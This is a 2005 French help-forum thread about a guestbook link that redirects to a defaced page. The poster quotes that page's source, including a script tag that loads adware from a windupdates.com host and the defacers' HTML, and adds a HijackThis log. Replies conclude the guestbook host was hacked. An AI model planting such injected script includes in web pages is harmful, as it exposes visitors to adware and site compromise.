Forums Sécurité Sécurité Microsoft

REDIRECTION FORCEE par Aqware WindUpdates -

Le mercredi 17 Août 2005 à 08:58

klodus

Bonjour à tous ceux qui veillent au mois d'août,
J'ai un probleme de REDIRECTION de page sans doute due au trojan
"WINDUPDATES"
En cliquant sur le lien du "livre d'or" de ma page, je suis redirigé
sur une page "bizarre" dont

voici la source:
-
DEBUT SOURCE Page NON DESIREE


<script language="javascript" type="text/javascript"

src="http://static.windupdates.com/promp...script>
<script language="javascript"
type="text/javascript">self.focus();</script>


<html><head><title>hax0r3d by XTech Inc (Pablin77 - MARY T
AMO)</title><script

language="javascript"> function BlinkTxt() { texto =
document.getElementsByTagName('blink'); for

(i=0; i<texto.length; i++) if (texto[i].style.visibility=='hidden') {

texto[i].style.visibility='visible'; } else {
texto[i].style.visibility='hidden'; }

setTimeout('BlinkTxt()',150); } onload=BlinkTxt; </script><style></style></head>
<body bgcolor=#FF0000 text=#000000 scroll="auto"><font
class="st1"><center><blink><font

class="st2">"</font>XTech Inc Was Here :D<font
class="st2">"</font></blink></font></p></center>
<p align="center"><font color="#FFFFFF" face="tahoma" size="4"><b>XTech
Inc</b> we are: Status-x

&<b>
PABLIN77 </b></font></p>
<font face="tahoma" size="2">
<p align="center"><b>uid=0(XTech Inc) gid=0(XTech
Inc) groups=0(XTech Inc)</b></p>
</font>
<p align="center"><font color="#FFFFFF" face="tahoma" size="4"></p>
</font><font color="#FF9900" face="tahoma">
<h3 align="center"><i><font color="#FFFFFF" face="tahoma"
size="5"><b>Pablin77:
MARY TE AMO!!!!!!</b></font></i></h3>
</font>
<h3 align="center"> </h3>
<p align="center"> </p>
<h3 align="center">Powered by XTech Inc / PABLIN77 </h3>
<p align="center">Made in ARGENTINA - pablin_77@argentina.com</p>
</body></html>

-FIN SOURCE PAGE NON DESIREE-
-

Il est ensuite créé dans "Temporary Internet File" 2 fichiers TXT
nommés "livredor{1]" et

"livredor{1].htm" detecté par NAV comme étant des "Adware.Windupdates",
fichiers vulnérables,

logiciels publicitaires.

MALGRE LEUR SUPPRESSION, ils réapparaissent dés que l'on click sur le
lien précité

-
VOICI LE LOGFILE DE HIJACK THIS:

Logfile of HijackThis v1.99.1
Scan saved at 06:06:44, on 17/08/2005
Platform: Windows XP SP1 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP1 (6.00.2800.1106)

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Ahead\InCD\InCDsrv.exe
C:\WINDOWS\system32\LEXBCES.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\system32\LEXPPS.EXE
C:\Program Files\Fichiers communs\Symantec Shared\ccSetMgr.exe
C:\Program Files\Norton AntiVirusavapsvc.exe
C:\Program Files\Norton AntiVirus\AdvTools\NPROTECT.EXE
C:\Program Files\Norton AntiVirus\SAVScan.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccEvtMgr.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Fichiers communs\Symantec Shared\ccApp.exe
C:\Program Files\Fichiers communs\Symantec Shared\Security
Center\UsrPrmpt.exe
C:\WINDOWS\System32\ctfmon.exe
C:\OUTILS\SECUR\SpyBotsd14\Spybot - Search & Destroy\TeaTimer.exe
C:\Program Files\SAGEM\SAGEM F@st 800-840\dslmon.exe
C:\OUTILS\SECUR\anti_hijack\HijackThis\hijackthis_199\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar =
http://www.google.fr
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Window Title =
Explorateur Family

R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName
= Liens

O2 - BHO: Yahoo! Companion BHO - {02478D38-C3F9-4efb-9B51-7695ECA05670}
- C:\Program

Files\Yahoo!\Companion\Installs\cpn\ycomp5_6_2_0.dll
O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3}
- C:\Program

Files\Adobe\Acrobat 5.0\Reader\ActiveX\AcroIEHelper.ocx
O2 - BHO: (no name) - {53707962-6F74-2D53-2644-206D7942484F} -

C:\OUTILS\SECUR\SPYBOT~1\SPYBOT~1\SDHelper.dll
O2 - BHO: CNavExtBho Class - {BDF3E430-B101-42AD-A544-FADC6B084872} -
C:\Program Files\Norton

AntiVirus\NavShExt.dll
O2 - BHO: (no name) - {FFFFFEF0-5B30-21D4-945D-000000000000} -
C:\PROGRA~1\STARDO~1\SDIEInt.dll

O3 - Toolbar: Norton AntiVirus - {42CDD1BF-3FFB-4238-8AD1-7859DF00B1D6}
- C:\Program Files\Norton

AntiVirus\NavShExt.dll
O3 - Toolbar: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} -
C:\Program

Files\Yahoo!\Companion\Installs\cpn\ycomp5_6_2_0.dll
O3 - Toolbar: &Radio - {8E718888-423F-11D2-876E-00A0C9082467} -
C:\WINDOWS\System32\msdxm.ocx

O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Fichiers communs\Symantec
Shared\ccApp.exe"
O4 - HKLM\..\Run: [NAV CfgWiz] C:\Program Files\Fichiers
communs\Symantec Shared\CfgWiz.exe /GUID

NAV /CMDLINE "REBOOT"
O4 - HKLM\..\Run: [Advanced Tools Check]
C:\PROGRA~1\NORTON~1\AdvTools\ADVCHK.EXE
O4 - HKLM\..\Run: [Symantec NetDriver Monitor]
C:\PROGRA~1\SYMNET~1\SNDMon.exe /Consumer
O4 - HKLM\..\Run: [SSC_UserPrompt] C:\Program Files\Fichiers
communs\Symantec Shared\Security

Center\UsrPrmpt.exe
O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\ctfmon.exe
O4 - HKCU\..\Run: [SpybotSD TeaTimer] C:\OUTILS\SECUR\SpyBotsd14\Spybot
- Search &

Destroy\TeaTimer.exe
O4 - Global Startup: DSLMON.lnk = C:\Program Files\SAGEM\SAGEM F@st
800-840\dslmon.exe
-
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions
present -> ?
O6 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel
present -> ?

O8 - Extra context menu item: E&xporter vers Microsoft Excel -

res://C:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000

O8 - Extra context menu item: Télécharger avec Star Downloader -
C:\Program Files\Star

Downloader\sdie.htm
-
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} -
C:\Program

Files\Java\jre1.5.0_04\binpjpi150_04.dll

O9 - Extra 'Tools' menuitem: Console Java (Sun) -
{08B0E5C0-4FCB-11CF-AAA5-00401C608501} -

C:\Program Files\Java\jre1.5.0_04\binpjpi150_04.dll

O9 - Extra button: Run WinHTTrack -
{36ECAF82-3300-8F84-092E-AFF36D6C7040} - C:\Program

Files\WinHTTrack\WinHTTrackIEBar.dll

O9 - Extra 'Tools' menuitem: Launch WinHTTrack -
{36ECAF82-3300-8F84-092E-AFF36D6C7040} -

C:\Program Files\WinHTTrack\WinHTTrackIEBar.dll

O9 - Extra button: Messenger - {4528BBE0-4E08-11D5-AD55-00010333D0AD} -
C:\Program

Files\Yahoo!\Messenger\yhexbmesfr.dll

O9 - Extra 'Tools' menuitem: Yahoo! Messenger -
{4528BBE0-4E08-11D5-AD55-00010333D0AD} -

C:\Program Files\Yahoo!\Messenger\yhexbmesfr.dll

O9 - Extra button: Abonnés - {23A54834-C8EE-4F9F-A866-40DC42F791F4} -
http://abonne.menara.ma

(file missing) (HKCU)
--

O16 - DPF: {30528230-99F7-4BB4-88D8-FA1D4F56A2AB} (YInstStarter Class)
- C:\Program

Files\Yahoo!\Common\yinsthelper.dll

O16 - DPF: {5CE7A7AF-8C5E-48CF-AE30-8FC6F01C27E3} (Yahoo! Photos -
Outil de publication Class) -

http://us.dl1.yimg.com/download.yah...r1_6fr.cab

O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class)
-

http://update.microsoft.com/windows...1950509901

2

O16 - DPF: {BAC01377-73DD-4796-854D-2A8997E3D68A} (Yahoo! Photos Easy
Upload Tool Class) -

http://us.dl1.yimg.com/download.yah...r1_6us.cab

-
O17 -
HKLM\System\CCS\Services\Tcpip\..\{FBA9DC02-F238-4A70-AD28-89B8A08F42B4}:
NameServer =

212.217.1.4 212.217.0.3 --> ce doit être mon fournisseur
d'accès.

--

O23 - Service: Symantec Event Manager (ccEvtMgr) - Symantec Corporation
- C:\Program

Files\Fichiers communs\Symantec Shared\ccEvtMgr.exe
O23 - Service: Symantec Password Validation (ccPwdSvc) - Symantec
Corporation - C:\Program

Files\Fichiers communs\Symantec Shared\ccPwdSvc.exe
O23 - Service: Symantec Settings Manager (ccSetMgr) - Symantec
Corporation - C:\Program

Files\Fichiers communs\Symantec Shared\ccSetMgr.exe
O23 - Service: InCD Helper (InCDsrv) - Ahead Software AG - C:\Program

Files\Ahead\InCD\InCDsrv.exe
O23 - Service: LexBce Server (LexBceS) - Lexmark International, Inc. -

C:\WINDOWS\system32\LEXBCES.EXE
O23 - Service: Service Norton AntiVirus Auto-Protect (navapsvc) -
Symantec Corporation -

C:\Program Files\Norton AntiVirusavapsvc.exe
O23 - Service: Norton Unerase Protection (NProtectService) - Symantec
Corporation - C:\Program

Files\Norton AntiVirus\AdvTools\NPROTECT.EXE
O23 - Service: SAVScan - Symantec Corporation - C:\Program Files\Norton
AntiVirus\SAVScan.exe
O23 - Service: ScriptBlocking Service (SBService) - Symantec
Corporation -

C:\PROGRA~1\FICHIE~1\SYMANT~1\SCRIPT~1\SBServ.exe
O23 - Service: Symantec Network Drivers Service (SNDSrvc) - Symantec
Corporation - C:\Program

Files\Fichiers communs\Symantec Shared\SNDSrvc.exe
O23 - Service: SymWMI Service (SymWSC) - Symantec Corporation -
C:\Program Files\Fichiers

communs\Symantec Shared\Security Center\SymWSC.exe

- FIN HI JACK
THIS
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

QUESTION:
Quelqu'un parmi cette honorable assemblée a t il une idée sur la
résolution de ce problème ?

Je pense que la cléf doit se trouver peut être dans une clé inscrite
quelque part dans le

registre ?

Merci pour les volontaires qui ne sont pas partis en vacances

KLODUS

--
http://tinyurl.com/a3rqz

Vos réponses

Gagnez chaque mois un abonnement Premium avec GNT : Inscrivez-vous !

Trier par : date / pertinence

Le 17/08/2005 à 10:10 #533035

Sniper a formulé la demande :

Bonjour à klodus qui nous a écrit en ce mercredi 17/08/2005, où nous fêtons
Saint Hyacinthe:

En cliquant sur le lien du "livre d'or" de ma page, je suis redirigé sur
une page "bizarre" dont voici la source:

8< 8< 8< snip snip

Tu ne nous donnes pas l'URL de *ta* page qu'on vérifie. Mais AMHA il
semblerait que le problème soit sur *ta* page tel que tu l'expliques. Tu te
serais fait hacké et le script intégré au code HTML de *ta* page.
Et le <title>hax0r3d by XTech Inc (Pablin77 - MARY T AMO) du script me
conforte dans ce raisonnement...
Solution: uploader une version saine de toutes tes pages sur ton hébergeur.
Et signaler le hack à ton hébergeur, parce que tu n'es certainement pas le
seul dans ce cas, les défaceurs de ce genre profitant généralement d'une
faille sur le serveur pour infecter 100, 200, 500 ou 1000 pages persos d'un
coup. Régair immédiatement c'est aussi rendre service à tousles autres
hébergés et visiteurs de cet hébergeur.

-------------------------------

Bjr snpper et merci pour ton aide,

voici l'adresse de ma page:

http://www.service-webmaster.com/me...=macosmet3

a + :'(

--
http://tinyurl.com/a3rqz

-1 Répondre en citant

Le 17/08/2005 à 10:45 #532784

Sniper a pensé très fort :

En ce mercredi, klodus a gentiment clavioté de ses petits doigts musclés :

http://www.service-webmaster.com/xxxxxxxxx

Je n'avais pas tout analysé, mais c'est le site qui héberge ton livre d'or
qui est hacké. Je viens de prévenir le webmaster.

Bjr,

MERCI INFINEMMENT

klodus l-)

--
http://tinyurl.com/a3rqz

Le 17/08/2005 à 10:45 #532783

Hello Sniper !

Je n'avais pas tout analysé, mais c'est le site qui héberge ton livre d'or
qui est hacké. Je viens de prévenir le webmaster.

Donc attendons!
Moët Hennessy

--
Bien cordialement, Georges
Aide toi le ciel t'aidera : http://papynet.mvps.org/Forums.htm
Pour prendre contact : http://minilien.com/?1xjHkMIEp0
Quelques pages XP : http://papynet.mvps.org/XP/XP.htm

Publicité

Suivre les réponses

Poster une réponse